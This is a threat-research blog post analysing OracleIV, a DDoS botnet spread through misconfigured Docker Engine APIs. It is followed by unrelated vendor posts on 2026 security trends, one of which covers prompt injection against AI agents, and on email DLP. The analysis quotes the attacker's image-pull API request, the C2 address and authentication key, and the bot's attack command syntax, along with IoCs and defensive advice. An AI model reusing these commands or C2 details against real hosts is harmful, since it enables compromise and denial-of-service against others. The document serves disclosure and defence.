ブログ
/
/
November 13, 2023

OracleIV: A dockerized DDoS botnet

OracleIV is a DDoS botnet exploiting misconfigured Docker Engine APIs. It delivers a malicious Python ELF executable within a Docker container ("oracleiv_latest") to perform various DoS attacks. The botnet communicates with a C2 server for commands, demonstrating attackers' continued use of exposed Docker instances.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
13
Nov 2023

Introduction: OracleIV

Researchers from Cado Security Labs (now part of Darktrace) discovered a novel campaign targeting publicly exposed instances of the Docker Engine API.

Attackers are exploiting this misconfiguration to deliver a malicious Docker container, built from an image named "oracleiv_latest" and containing Python malware compiled as an ELF executable. The malware itself acts as a Distributed Denial of Service (DDoS) bot agent, capable of conducting Denial of Service (DoS) attacks via a number of methods.

It’s not the first time the Docker Engine API has been targeted by attackers. This method of initial access has been increasing in recent years and is often used to deliver cryptojacking malware [1]. Inadvertent exposure of the Docker Engine API occurs frequently enough that several unrelated campaigns have been observed scanning for it. 

This should come as no surprise, given the move to microservice-driven architectures by many software teams. Once a valid endpoint is discovered, it’s trivial to pull a malicious image and launch a container from it to carry out any conceivable objective. Hosting the malicious container in Docker Hub, Docker’s container image library, streamlines this process even further.

Initial access

In keeping with other attacks of this kind, initial access typically begins with a HTTP POST request to the /images/create endpoint of Docker’s API. This effectively runs a docker pull command on the host to retrieve the specified image from Docker Hub. A follow-up container start command is then used to spawn a container from the pulled image. 

An example of the image create command used in the OracleIV command can be seen below:

POST /v1.43/images/create?
tag=latest&fromImage=robbertignacio328832/oracleiv_latest 

Malicious Docker hub image

As can be seen in the Docker API command above, the attacker retrieves an image named oracleiv_latest which was uploaded to Docker Hub. This image was still live at the time of writing and had over 3,000 pulls. Furthermore, the image itself appeared to be undergoing regular iteration, with the most recent changes pushed only 3 days prior to the writing of this blog.

The user also added the description Mysql image for docker to the image’s Docker Hub page, likely to make it seem more innocuous.

Examining the image layers reveals commands used by the attacker to retrieve their malicious payload - named oracle.sh, despite being an ELF executable - and bake it into the resulting image.

Image layer RUN command to retrieve malicious payload
Figure 1: Image layer RUN command to retrieve malicious payload

The image also includes additional wget commands to retrieve a copy of XMRig and an associated miner configuration file.

Image layer RUN command to retrieve xmrig miner
Figure 2: Image layer RUN command to retrieve xmrig miner
Image layer RUN command to retrieve miner configuration file
Figure 3: Image layer RUN command to retrieve miner configuration file

It is worth noting that Cado researchers did not observe any mining performed by this malicious container, but with these files baked into the image it would certainly be possible.

Static analysis

Since the bundled version of XMRig is both unused and a vanilla release of the miner, this section will focus on analysis of the oracle.sh executable embedded in the malicious container.

Static analysis of this executable revealed a 64-bit, statically linked ELF, with debug information intact. Further investigation led to the discovery of a number of functions with CyFunction in the name, confirming that the malware is Python code compiled with Cython.

Embedded Cython functions
Figure 4: Embedded Cython functions

The attacker code is relatively concise, the majority of it is dedicated to the different DoS methods present. The following functions were identified:

  • bot.main
  • bot.init_socket
  • bot.checksum
  • bot.register_ssl
  • bot.register_httpget
  • bot.register_slow
  • bot.register_five
  • bot.register_vse
  • bot.register_udp
  • bot.register_udp_pps
  • bot.register_ovh

Functions with the register_ prefix correspond to DoS attack methods, the details of which will be discussed in the following section.

Dynamic analysis

The bot connects back to a Command-and-Control server (C2) at 46.166.185[.]231 on TCP port 40320. It then performs primitive authentication, where the bot supplies the C2 with basic information about its environment in addition to a hardcoded password.

 : client hello from zombie! : X86 : key: b'bjN0ZzM0cnAwd24zZA==' : os: linux

The key decodes to “n3tg34rp0wn3d”. Supplying an incorrect key causes the C2 to reply with a string of expletive language, followed by the connection being terminated.

Following successful authentication, the C2 will continuously send “routine ping, greetz Oracle IV”. This is likely due to an implementation quirk, where many novice programmers new to socket programming will implement the blocking receive operation in a loop and require constant input to keep the loop going.

Cado Security Labs has performed monitoring of the botnet activity and has observed the botnet being used to DDoS a number of targets, with the operator preferring to use a UDP based flood in addition to an SSL based flood.

Botnet commands

C2 commands used to initiate the different DoS attacks take the following form:

<attack type> <target IP/domain> <attack duration> <rate> <target port>

For example, to conduct an SSL DoS attack on the website example.com for 30 seconds, a rate of 30, and on port 80, the C2 server would send the following command:

ssl example.com 30 30 80

Cado Security Labs were able to trick a botnet agent into connecting to a mimic C2 server instead of the real one and issued commands to observe the capabilities of the botnet. The botnet has the following DDoS capabilities:

UDP:

  • Performs a UDP flood with 40,000-byte packets
  • These far exceed the threshold and consequently get fragmented. This will create an additional computational overhead on both the target and source due to the reassembly of fragments, however it is unclear if this is intentional.

UDP_PPS:

  • Seems non-functional, when the command was issued no activity was observed.

SSL:

  • Opens a TCP connection, sends a large amount of data, and then closes. This process then repeats. The Cado dummy target server rejected all the fake requests with an error 400, so it would appear that the attack aims at flooding the target rather than exploiting some protocol specific function.
Tcpdump output for SSL Dos method
Figure 5: Tcpdump output for SSL DoS method

SYN:

  • It was anticipated that this would be a SYN flood, however the observed behavior is identical to SSL.

HTTPGET:

  • Seems non-functional, when the command was issued no activity was observed.

SLOW:

  • This is a “slowloris” style attack. The agent opens up many connections to the server and continuously sends small amounts of data to keep the connection open.

FIVE:

  • This is a UDP flood with 18-byte packets. Likely the packets are a part of the FiveM server protocol, and designed to cause a denial of service a FiveM server

VSE:

  • This is a UDP flood with 20-byte packets. Similar to FIVE, this seems protocol specific to Valve source engine.

OVH:

  • This is a UDP flood with 8-byte packets, designed to circumvent OVH’s DDoS protection.

Conclusion

OracleIV demonstrates that attackers are still intent on leveraging misconfigured Docker Engine API deployments as a means of initial access for a variety of campaigns. The portability that containerization brings allows malicious payloads to be executed in a deterministic manner across Docker hosts, regardless of the configuration of the host itself. 

Whilst OracleIV is not technically a supply chain attack, users of Docker Hub should be aware that malicious container images do indeed exist in Docker’s image library. Cado researchers reported the malicious user behind OracleIV to Docker.

Despite this, users of Docker Hub are encouraged to perform periodic assessments of the images they are pulling from the registry, to ensure that they have not been polluted with malicious code. 

Consistent with other attacks reliant on a misconfigured internet-facing service (e.g. Jupyter, Redis etc), Cado researchers strongly urge users of these services to periodically review their exposure and implement network defenses accordingly.

Indicators of compromise (IoCs)

File name SHA256

oracle.sh (embedded in container) 5a76c55342173cbce7d1638caf29ff0cfa5a9b2253db9853e881b129fded59fb

xmrig (embedded in container) 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

config.json (embedded in container) 776c6ef3e9e74719948bdc15067f3ea77a0a1eb52319ca1678d871d280ab395c

IP addresses

46[.]166[.]185[.]231

Docker image

robbertignacio328832/oracleiv_latest:latest

References

  1. https://blog.aquasec.com/threat-alert-anatomy-of-silentbobs-cloud-attack
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

December 22, 2025

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

Default blog imageDefault blog image

Introduction: 2026 cyber trends

Each year, we ask some of our experts to step back from the day-to-day pace of incidents, vulnerabilities, and headlines to reflect on the forces reshaping the threat landscape. The goal is simple:  to identify and share the trends we believe will matter most in the year ahead, based on the real-world challenges our customers are facing, the technology and issues our R&D teams are exploring, and our observations of how both attackers and defenders are adapting.  

In 2025, we saw generative AI and early agentic systems moving from limited pilots into more widespread adoption across enterprises. Generative AI tools became embedded in SaaS products and enterprise workflows we rely on every day, AI agents gained more access to data and systems, and we saw glimpses of how threat actors can manipulate commercial AI models for attacks. At the same time, expanding cloud and SaaS ecosystems and the increasing use of automation continued to stretch traditional security assumptions.

Looking ahead to 2026, we’re already seeing the security of AI models, agents, and the identities that power them becoming a key point of tension – and opportunity -- for both attackers and defenders. Long-standing challenges and risks such as identity, trust, data integrity, and human decision-making will not disappear, but AI and automation will increase the speed and scale of the cyber risk.  

Here's what a few of our experts believe are the trends that will shape this next phase of cybersecurity, and the realities organizations should prepare for.  

Agentic AI is the next big insider risk

In 2026, organizations may experience their first large-scale security incidents driven by agentic AI behaving in unintended ways—not necessarily due to malicious intent, but because of how easily agents can be influenced. AI agents are designed to be helpful, lack judgment, and operate without understanding context or consequence. This makes them highly efficient—and highly pliable. Unlike human insiders, agentic systems do not need to be socially engineered, coerced, or bribed. They only need to be prompted creatively, misinterpret legitimate prompts, or be vulnerable to indirect prompt injection. Without strong controls around access, scope, and behavior, agents may over-share data, misroute communications, or take actions that introduce real business risk. Securing AI adoption will increasingly depend on treating agents as first-class identities—monitored, constrained, and evaluated based on behavior, not intent.

-- Nicole Carignan, SVP of Security & AI Strategy

Prompt Injection moves from theory to front-page breach

We’ll see the first major story of an indirect prompt injection attack against companies adopting AI either through an accessible chatbot or an agentic system ingesting a hidden prompt. In practice, this may result in unauthorized data exposure or unintended malicious behavior by AI systems, such as over-sharing information, misrouting communications, or acting outside their intended scope. Recent attention on this risk—particularly in the context of AI-powered browsers and additional safety layers being introduced to guide agent behavior—highlights a growing industry awareness of the challenge.  

-- Collin Chapleau, Senior Director of Security & AI Strategy

Humans are even more outpaced, but not broken

When it comes to cyber, people aren’t failing; the system is moving faster than they can. Attackers exploit the gap between human judgment and machine-speed operations. The rise of deepfakes and emotion-driven scams that we’ve seen in the last few years reduce our ability to spot the familiar human cues we’ve been taught to look out for. Fraud now spans social platforms, encrypted chat, and instant payments in minutes. Expecting humans to be the last line of defense is unrealistic.

Defense must assume human fallibility and design accordingly. Automated provenance checks, cryptographic signatures, and dual-channel verification should precede human judgment. Training still matters, but it cannot close the gap alone. In the year ahead, we need to see more of a focus on partnership: systems that absorb risk so humans make decisions in context, not under pressure.

-- Margaret Cunningham, VP of Security & AI Strategy

AI removes the attacker bottleneck—smaller organizations feel the impact

One factor that is currently preventing more companies from breaches is a bottleneck on the attacker side: there’s not enough human hacker capital. The number of human hands on a keyboard is a rate-determining factor in the threat landscape. Further advancements of AI and automation will continue to open that bottleneck. We are already seeing that. The ostrich approach of hoping that one’s own company is too obscure to be noticed by attackers will no longer work as attacker capacity increases.  

-- Max Heinemeyer, Global Field CISO

SaaS platforms become the preferred supply chain target

Attackers have learned a simple lesson: compromising SaaS platforms can have big payouts. As a result, we’ll see more targeting of commercial off-the-shelf SaaS providers, which are often highly trusted and deeply integrated into business environments. Some of these attacks may involve software with unfamiliar brand names, but their downstream impact will be significant. In 2026, expect more breaches where attackers leverage valid credentials, APIs, or misconfigurations to bypass traditional defenses entirely.

-- Nathaniel Jones, VP of Security & AI Strategy

Increased commercialization of generative AI and AI assistants in cyber attacks

One trend we’re watching closely for 2026 is the commercialization of AI-assisted cybercrime. For example, cybercrime prompt playbooks sold on the dark web—essentially copy-and-paste frameworks that show attackers how to misuse or jailbreak AI models. It’s an evolution of what we saw in 2025, where AI lowered the barrier to entry. In 2026, those techniques become productized, scalable, and much easier to reuse.  

-- Toby Lewis, Global Head of Threat Analysis

Conclusion

Taken together, these trends underscore that the core challenges of cybersecurity are not changing dramatically -- identity, trust, data, and human decision-making still sit at the core of most incidents. What is changing quickly is the environment in which these challenges play out. AI and automation are accelerating everything: how quickly attackers can scale, how widely risk is distributed, and how easily unintended behavior can create real impact. And as technology like cloud services and SaaS platforms become even more deeply integrated into businesses, the potential attack surface continues to expand.  

Predictions are not guarantees. But the patterns emerging today suggest that 2026 will be a year where securing AI becomes inseparable from securing the business itself. The organizations that prepare now—by understanding how AI is used, how it behaves, and how it can be misused—will be best positioned to adopt these technologies with confidence in the year ahead.

Learn more about how to secure AI adoption in the enterprise without compromise by registering to join our live launch webinar on February 3, 2026.  

Continue reading
About the author
The Darktrace Community

Blog

/

Email

/

December 22, 2025

Why Organizations are Moving to Label-free, Behavioral DLP for Outbound Email

Default blog imageDefault blog image

Why outbound email DLP needs reinventing

In 2025, the global average cost of a data breach fell slightly — but remains substantial at USD 4.44 million (IBM Cost of a Data Breach Report 2025). The headline figure hides a painful reality: many of these breaches stem not from sophisticated hacks, but from simple human error: mis-sent emails, accidental forwarding, or replying with the wrong attachment. Because outbound email is a common channel for sensitive data leaving an organization, the risk posed by everyday mistakes is enormous.

In 2025, 53% of data breaches involved customer PII, making it the most commonly compromised asset (IBM Cost of a Data Breach Report 2025). This makes “protection at the moment of send” essential. A single unintended disclosure can trigger compliance violations, regulatory scrutiny, and erosion of customer trust –consequences that are disproportionate to the marginal human errors that cause them.

Traditional DLP has long attempted to mitigate these impacts, but it relies heavily on perfect labelling and rigid pattern-matching. In reality, data loss rarely presents itself as a neat, well-structured pattern waiting to be caught – it looks like everyday communication, just slightly out of context.

How data loss actually happens

Most data loss comes from frustratingly familiar scenarios. A mistyped name in auto-complete sends sensitive data to the wrong “Alex.” A user forwards a document to a personal Gmail account “just this once.” Someone shares an attachment with a new or unknown correspondent without realizing how sensitive it is.

Traditional, content-centric DLP rarely catches these moments. Labels are missing or wrong. Regexes break the moment the data shifts formats. And static rules can’t interpret the context that actually matters – the sender-recipient relationship, the communication history, or whether this behavior is typical for the user.

It’s the everyday mistakes that hurt the most. The classic example: the Friday 5:58 p.m. mis-send, when auto-complete selects Martin, a former contractor, instead of Marta in Finance.

What traditional DLP approaches offer (and where gaps remain)

Most email DLP today follows two patterns, each useful but incomplete.

  • Policy- and label-centric DLP works when labels are correct — but content is often unlabeled or mislabeled, and maintaining classification adds friction. Gaps appear exactly where users move fastest
  • Rule and signature-based approaches catch known patterns but miss nuance: human error, new workflows, and “unknown unknowns” that don’t match a rule

The takeaway: Protection must combine content + behavior + explainability at send time, without depending on perfect labels.

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

Protects all content, not just what’s labeled. Label-free analysis removes classification overhead and closes gaps from missing or incorrect tags. By evaluating content and context at send time, it also catches misdelivery and other payload-free errors.

  • No labeling burden; no regex/rule maintenance
  • Works when tags are missing, wrong, or stale
  • Detects misdirected sends even when labels look right

2) Behavioral (vs. rules, signatures, threat intelligence)

Understands user behavior, not just static patterns. Behavioral analysis learns what’s normal for each person, surfacing human error and subtle exfiltration that rules can’t. It also incorporates account signals and inbound intel, extending across email and Teams.

  • Flags risk without predefined rules or IOCs
  • Catches misdelivery, unusual contacts, personal forwards, odd timing/volume
  • Blends identity and inbound context across channels

3) Proprietary DSLM (vs. generic LLM)

Optimized for precise, fast, explainable on-send decisions. A DSLM understands email/DLP semantics, avoids generative risks, and stays auditable and privacy-controlled, delivering intelligence reliably without slowing mail flow.

  • Low-latency, on-send enforcement
  • Non-generative for predictable, explainable outcomes
  • Governed model with strong privacy and auditability

The Darktrace approach to DLP

Darktrace / EMAIL – DLP stops misdelivery and sensitive data loss at send time using hold/notify/justify/release actions. It blends behavioral insight with content understanding across 35+ PII categories, protecting both labeled and unlabeled data. Every action is paired with clear explainability: AI narratives show exactly why an email was flagged, supporting analysts and helping end-users learn. Deployment aligns cleanly with existing SOC workflows through mail-flow connectors and optional Microsoft Purview label ingestion, without forcing duplicate policy-building.

Deployment is simple: Microsoft 365 routes outbound mail to Darktrace for real-time, inline decisions without regex or rule-heavy setup.

A buyer’s checklist for DLP solutions

When choosing your DLP solution, you want to be sure that it can deliver precise, explainable protection at the moment it matters – on send – without operational drag.  

To finish, we’ve compiled a handy list of questions you can ask before choosing an outbound DLP solution:

  • Can it operate label free when tags are missing or wrong? 
  • Does it truly learn per user behavior (no shortcuts)? 
  • Is there a domain specific model behind the content understanding (not a generic LLM)? 
  • Does it explain decisions to both analysts and end users? 
  • Will it integrate with your label program and SOC workflows rather than duplicate them? 

For a deep dive into Darktrace’s DLP solution, check out the full solution brief.

[related-resource]

Continue reading
About the author
Carlos Gray
Senior Product Marketing Manager, Email
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ